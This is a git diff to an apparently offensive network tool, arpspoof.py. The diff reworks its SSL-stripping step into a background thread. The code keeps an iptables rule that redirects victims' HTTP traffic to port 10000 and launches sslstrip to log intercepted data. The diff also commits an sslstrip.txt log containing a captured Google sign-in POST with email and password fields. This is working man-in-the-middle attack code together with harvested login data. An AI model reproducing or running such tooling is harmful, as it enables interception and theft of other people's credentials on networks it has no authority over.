diff --git a/arpspoof.py b/arpspoof.py index e49babc..70d518e 100644 --- a/arpspoof.py +++ b/arpspoof.py @@ -225,12 +225,10 @@ class dnsspoof(threading.Thread): send(mkspoof(DNSpkt)) print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC -#class ssltrip(threading.Thread): -# def run(self): -def sslstrip(): - print 'Redirecting traffic to port 10000 and starting sslstrip\n' - ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') - sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt') +class sslstrip(threading.Thread): + def run(self): + print 'Redirecting traffic to port 10000 and starting sslstrip\n' + sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt') print "Active interface = " + interface print "Router IP = " + routerIP @@ -268,7 +266,10 @@ def main(): driftnet = bash('xterm -e driftnet -i %s' % interface) if args.sslstrip: - sslstrip() + ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') + ssl = sslstrip() + ssl.daemon = True + ssl.start() if args.dnsspoof: ds = dnsspoof() diff --git a/sslstrip.txt b/sslstrip.txt new file mode 100644 index 0000000..49a8372 --- /dev/null +++ b/sslstrip.txt @@ -0,0 +1,2 @@ +2013-06-04 20:11:38,958 SECURE POST Data (accounts.google.com): +continue=http%3A%2F%2Fmail.google.com%2Fmail%2F&service=mail&rm=false&dsh=-3449254265540400786<mpl=default&scc=1&GALX=Oe1Tvca0bAY&pstMsg=1&dnConn=&checkConnection=&checkedDomains=youtube&timeStmp=&secTok=&_utf8=%E2%98%83&bgresponse=%21A0Llh0ayqQWz1kTt_Q8Ug5NNHgIAAACLUgAAACIqAPIsD8kbu-0rxXxAswW4RNRrTNsoKM4UFw88XqlY1ozXn-snduBZJF_Z07AmfEiRCfu4_9h8BIakKHGxL5-GlzKZ3fnFK03zKUQt5A2ZJfGVsCWXLWcgoL1vWKjisQg_P-b7D-vqSPesUQ9VM2DHeGuE5Qh3YvLDqYRp6MqSUhsGN_jvUO_0b5MJ5kvAIUqsNbTl-zWtcVWD1BAQQvrS4b-xfUEA0OhOO5emkcDJJt2oyj6s-k6y0GvfvvXVMyV5O-dp3CUe1rt47CK_LqL7JCjiMeFH2X2WZIT4UnfGDUTLLqq0aV86AYOq7xxMw6S3Kvia6Q&Email=ufh&Passwd=GHJHK&signIn=Sign+in&PersistentCookie=yes&rmShown=1